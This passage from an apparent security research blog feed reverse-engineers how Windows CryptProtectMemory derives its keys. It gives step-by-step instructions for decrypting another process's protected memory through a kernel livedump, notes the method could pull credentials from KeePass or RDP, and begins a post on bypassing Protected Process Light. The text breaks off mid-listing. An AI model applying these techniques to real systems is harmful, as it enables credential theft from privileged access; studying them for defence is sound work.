class=&#34;n&#34;&gt;ResultAesKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ShaHash&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;sc&#34;&gt;&amp;#39;\x01&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is fairly straightforward. The internal state of a global variable &lt;code&gt;g_ShaHash&lt;/code&gt; is copied to a local variable, then the state of the &lt;code&gt;SHA&lt;/code&gt; hash is update with the &lt;code&gt;12&lt;/code&gt; bytes of the &lt;code&gt;Cookie&lt;/code&gt; and the &lt;code&gt;CreateTime&lt;/code&gt; fields of the associated process. Finally, the &lt;code&gt;SHA1&lt;/code&gt; hash is finalized, and the first &lt;code&gt;0x10&lt;/code&gt; bytes of the hash are used as the symmetric key for &lt;code&gt;AES&lt;/code&gt; (&lt;code&gt;SHA1&lt;/code&gt; hashes are &lt;code&gt;0x14&lt;/code&gt; bytes long).&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;g_ShaHash&lt;/code&gt; is initialized once per boot in &lt;code&gt;cng!CngEncryptMemoryInitialize&lt;/code&gt;, and remains the same afterward.&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s take a look at &lt;code&gt;GenerateKey&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;GenerateKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_SYMCRYPT_3DES_EXPANDED_KEY&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DesKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KeyInput&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ulong&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DataLen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;BYTE&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ShaHashes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// Holds two SHA1 hashes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;memcpy&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ShaState1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;g_ShaHash&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;sizeof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SYMCRYPT_SHA1_STATE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;SymCryptSha1Append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ShaState1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;aaa&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;SymCryptSha1Append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ShaState1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DataLen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;SymCryptSha1Result&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ShaState1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ShaHashes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;memcpy&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ShaState2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;g_ShaHash&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;sizeof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SYMCRYPT_SHA1_STATE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;SymCryptSha1Append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ShaState2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;bbb&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;SymCryptSha1Append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ShaState2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DataLen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;SymCryptSha1Result&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ShaState2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ShaHashes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x14&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;SymCrypt3DesExpandKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DesKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ShaHashes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is slightly different, since a &lt;code&gt;3DES&lt;/code&gt; key is &lt;code&gt;0x18&lt;/code&gt; bytes long, a single &lt;code&gt;SHA1&lt;/code&gt; hash is not enough. In order to get enough bytes, two hashes are calculated, once again starting from the initial of &lt;code&gt;g_ShaHash&lt;/code&gt;. To get different values, the hashes are updated with &lt;code&gt;b&amp;quot;aaa&amp;quot;&lt;/code&gt; and &lt;code&gt;b&amp;quot;bbb&amp;quot;&lt;/code&gt;. Finally, the hashes are updated with both the &lt;code&gt;Cookie&lt;/code&gt; and &lt;code&gt;CreateTime&lt;/code&gt; values.&lt;/p&gt;&#xA;&lt;p&gt;The resulting &lt;code&gt;3DES&lt;/code&gt; key is the concatenation of all bytes from the first &lt;code&gt;SHA1&lt;/code&gt; hash with the four first bytes of the second hash.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-other-flags&#34;&gt;The other flags&lt;/h2&gt;&#xA;&lt;p&gt;I won&amp;rsquo;t dive as deep on the other flags, but I&amp;rsquo;ll provide a quick overview:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Instead of the process cookie and creation time, &lt;code&gt;CRYPTPROTECTMEMORY_SAME_LOGON&lt;/code&gt; uses &lt;code&gt;SeQueryAuthenticationIdToken&lt;/code&gt; to get the &lt;code&gt;LUID&lt;/code&gt; of the current logon session, to use as an input to derive the AES/DES Key.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;CRYPTPROTECTMEMORY_CROSS_PROCESS&lt;/code&gt; uses the value of &lt;code&gt;cng!g_AESKey&lt;/code&gt; to derive the AES/DES key, which is initialized with random data once per boot.&lt;/li&gt;&#xA;&lt;li&gt;Finally, the undocumented flag behaves differently depending of whether the application is encrypting or decrypting memory. If the application is encrypting memory, the blob is encrypted with a key derived from a hardcoded &lt;code&gt;LUID&lt;/code&gt; with a value of &lt;code&gt;0x3E2&lt;/code&gt;, which according to &lt;a href=&#34;https://codemachine.com/downloads/win10.1809/ntifs.h&#34;&gt;online resources&lt;/a&gt; corresponds to the &lt;code&gt;PROTECTED_TO_SYSTEM_LUID&lt;/code&gt; logon session. However, decryption is only permitted if the current logon session matches &lt;code&gt;0x3E7&lt;/code&gt;, a well-known LUID for the &lt;code&gt;SYSTEM&lt;/code&gt; logon session.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I haven&amp;rsquo;t seen any use of the undocumented flag, but this could be an interesting topic for further research.&lt;/p&gt;&#xA;&lt;h2 id=&#34;decrypting-protected-memory&#34;&gt;Decrypting protected memory&lt;/h2&gt;&#xA;&lt;p&gt;To summarize, to decrypt memory that was protected with &lt;code&gt;CryptProtectMemory&lt;/code&gt; and the &lt;code&gt;CRYPTPROTECTMEMORY_SAME_PROCESS&lt;/code&gt; flag in another process, one must:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Get the encrypted data, and its length in the target process&lt;/li&gt;&#xA;&lt;li&gt;Get the value of the &lt;code&gt;Cookie&lt;/code&gt; and &lt;code&gt;CreateTime&lt;/code&gt; value in the &lt;code&gt;EPROCESS&lt;/code&gt; structure of the target process&lt;/li&gt;&#xA;&lt;li&gt;Get the value of &lt;code&gt;cng!RandomSalt&lt;/code&gt; and &lt;code&gt;cng!g_ShaHash&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the length of the encrypted data is a multiple of &lt;code&gt;8&lt;/code&gt;, then&#xA;&lt;ul&gt;&#xA;&lt;li&gt;derive a &lt;code&gt;3DES&lt;/code&gt; key from two &lt;code&gt;SHA1&lt;/code&gt; hashes, starting with an initial state of &lt;code&gt;g_ShaHash&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;the first one with the state updated with &lt;code&gt;b&amp;quot;aaa&amp;quot;&lt;/code&gt; and then updated with the &lt;code&gt;Cookie&lt;/code&gt; and &lt;code&gt;CreateTime&lt;/code&gt;, taken in full&lt;/li&gt;&#xA;&lt;li&gt;the second one with the state updated with &lt;code&gt;b&amp;quot;bbb&amp;quot;&lt;/code&gt; and then updated with the &lt;code&gt;Cookie&lt;/code&gt; and &lt;code&gt;CreateTime&lt;/code&gt;, truncated to the first &lt;code&gt;4&lt;/code&gt; bytes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Else, if the length of the encrypted data is a multiple of &lt;code&gt;16&lt;/code&gt;, then&#xA;&lt;ul&gt;&#xA;&lt;li&gt;derive an &lt;code&gt;AES128&lt;/code&gt; key from the &lt;code&gt;SHA1&lt;/code&gt; hash starting with an initial state of &lt;code&gt;g_ShaHash&lt;/code&gt;, and updated with &lt;code&gt;Cookie&lt;/code&gt; and &lt;code&gt;CreateTime&lt;/code&gt;, truncated to the first &lt;code&gt;16&lt;/code&gt; bytes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Finally, decrypt the memory using the corresponding key and cipher, as well as an IV of &lt;code&gt;cng!RandomSalt&lt;/code&gt;, all &lt;code&gt;16&lt;/code&gt; bytes for &lt;code&gt;AES128&lt;/code&gt;, or the first &lt;code&gt;8&lt;/code&gt; bytes for &lt;code&gt;3DES&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This seems pretty easy for a driver to do, but what about a userland application ? The &lt;code&gt;Cookie&lt;/code&gt;, &lt;code&gt;CreateTime&lt;/code&gt;, &lt;code&gt;g_ShaHash&lt;/code&gt;, and &lt;code&gt;RandomSalt&lt;/code&gt; are all stored in kernel memory.&lt;/p&gt;&#xA;&lt;h2 id=&#34;decrypting-from-usermode&#34;&gt;Decrypting from usermode&lt;/h2&gt;&#xA;&lt;p&gt;Remembering my &lt;a href=&#34;https://blog.slowerzs.net/posts/pplsystem/&#34;&gt;previous post&lt;/a&gt;, the &lt;code&gt;NtSystemDebugControl&lt;/code&gt; syscall can be called by a user holding the &lt;code&gt;SeDebugPrivilege&lt;/code&gt; to generate a kernel livedump. This can be used to parse kernel memory, and find all the elements required!&lt;/p&gt;&#xA;&lt;p&gt;Additionally, on up-to-date Windows 11 or 2025 Server, the &lt;code&gt;IncludeUserSpaceMemoryPages&lt;/code&gt; flag can be specified, to also be able to read the encrypted memory in the target process, without ever opening a &lt;code&gt;HANDLE&lt;/code&gt; to the target process.&lt;/p&gt;&#xA;&lt;p&gt;I wrote a proof of concept tool to decrypt protected data. It is available on &lt;a href=&#34;https://github.com/Slowerzs/CryptDecryptMemory&#34;&gt;Github&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This could be extended to retrieve credentials from sensitive applications, such as &lt;code&gt;KeePass&lt;/code&gt; or &lt;code&gt;mstsc.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;&#xA;&lt;p&gt;The availability of the &lt;code&gt;NtSystemDebugControl&lt;/code&gt; provides privileged users a view of kernel memory, which holds various secrets. While not as powerful as &lt;a href=&#34;https://github.com/scrt/KexecDDPlus&#34;&gt;other&lt;/a&gt; &lt;a href=&#34;https://github.com/realoriginal/angryorchard&#34;&gt;techniques&lt;/a&gt;, this confirms once again that admin-to-kernel (even read-only) techniques can be very interesting from an offensive point of view !&lt;/p&gt;&#xA;&lt;/br&gt;&#xA;&lt;h3 id=&#34;related-work&#34;&gt;Related work&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A &lt;a href=&#34;https://github.com/eleemosynator/writeups/blob/master/flare-on-6/12%20-%20help/readme.md&#34;&gt;similar analysis&lt;/a&gt; of &lt;code&gt;CryptProtectMemory&lt;/code&gt; on older Windows versions by &lt;a href=&#34;https://infosec.exchange/@eleemosynator&#34;&gt;@eleemosynator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</description>
    </item>
    <item>
      <title>Injecting code into PPL processes without vulnerable drivers on Windows 11</title>
      <link>https://blog.slowerzs.net/posts/pplsystem/</link>
      <pubDate>Wed, 22 May 2024 19:36:10 +0200</pubDate>
      <guid>https://blog.slowerzs.net/posts/pplsystem/</guid>
      <description>&lt;p&gt;While reading &lt;a href=&#34;https://googleprojectzero.blogspot.com/2018/11/injecting-code-into-windows-protected.html&#34;&gt;this&lt;/a&gt; article from James Forshaw on leveraging COM to inject code into a process, I discovered a syscall that I didn&amp;rsquo;t known about: &lt;code&gt;NtSystemDebugControl&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Being unfamiliar with this syscall, I decided to look for more information. I found &lt;a href=&#34;https://github.com/gtworek/PSBits/blob/master/Misc/New-KernelDump.ps1&#34;&gt;this&lt;/a&gt; PowerShell snippet, which worked well to dump kernel-mode memory. Looking for more, I found that the &lt;code&gt;Flags&lt;/code&gt; argument was an enum that contained a &lt;code&gt;IncludeUserSpaceMemoryPages&lt;/code&gt;. As the name suggests, if this flag is specified, the memory dump will include user-mode pages that are not swapped out.&lt;/p&gt;&#xA;&lt;p&gt;From what I could gather, this flag used to be available to userland, but was later restricted to drivers only in an earlier Windows version, up until Windows 11. I decided to give it a try anyways, and, to my surprise, it actually worked! The memory dump did contain user-mode memory pages. Digging deeper, I found that this only worked on Windows 11.&lt;/p&gt;&#xA;&lt;p&gt;Immediately, I wanted to see if this could be abused to bypass the protection of &lt;em&gt;Protected Process Light (PPL)&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you are unfamiliar with &lt;em&gt;Protected Process Light&lt;/em&gt;, I would recommend reading &lt;a href=&#34;https://itm4n.github.io/lsass-runasppl/#what-are-ppl-processes&#34;&gt;this article&lt;/a&gt;. In short, some processes can be run as &lt;em&gt;Protected Process Light&lt;/em&gt;, which tries to protect them even from a malicious privileged user. To do this, only Windows-signed libraries and executable files can (theoretically) be loaded within the &lt;em&gt;PPL&lt;/em&gt;, and standard processes cannot get a &lt;code&gt;HANDLE&lt;/code&gt; to the process with full access to the &lt;em&gt;PPL&lt;/em&gt; process, to prevent code injection.&lt;/p&gt;&#xA;&lt;h2 id=&#34;windows-11-vs-windows-10&#34;&gt;Windows 11 vs Windows 10&lt;/h2&gt;&#xA;&lt;p&gt;The difference can be found by comparing the syscall in a Windows 11 and Windows 10 installation: when the &lt;code&gt;IncludeUserSpaceMemoryPages&lt;/code&gt; flag is specified, the calls ends up in &lt;code&gt;DbgkCaptureLiveKernelDump&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Here is the relevant code of this function on Windows 10:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;IsFullLiveDumpDisabled&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;DbgkpWerIsFullLiveDumpDisabled&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IsFullLiveDumpDisabled&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;sc&#34;&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nf&#34;&gt;DbgPrintEx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;DBGK: Full Live Kernel Dumps are disabled. Failing request.&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;STATUS_CONTENT_BLOCKED&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;((((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PreviousMode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;sc&#34;&gt;&amp;#39;\x01&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;param_1&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x38&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KdPitchDebugger&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;sc&#34;&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KdLocalDebugEnabled&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;sc&#34;&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;STATUS_DEBUGGER_INACTIVE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;However, on Windows 11 (23H2), the code is the following :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;IsFullLiveDumpDisabled&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;DbgkpWerIsFullLiveDumpDisabled&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IsFullLiveDumpDisabled&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;sc&#34;&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 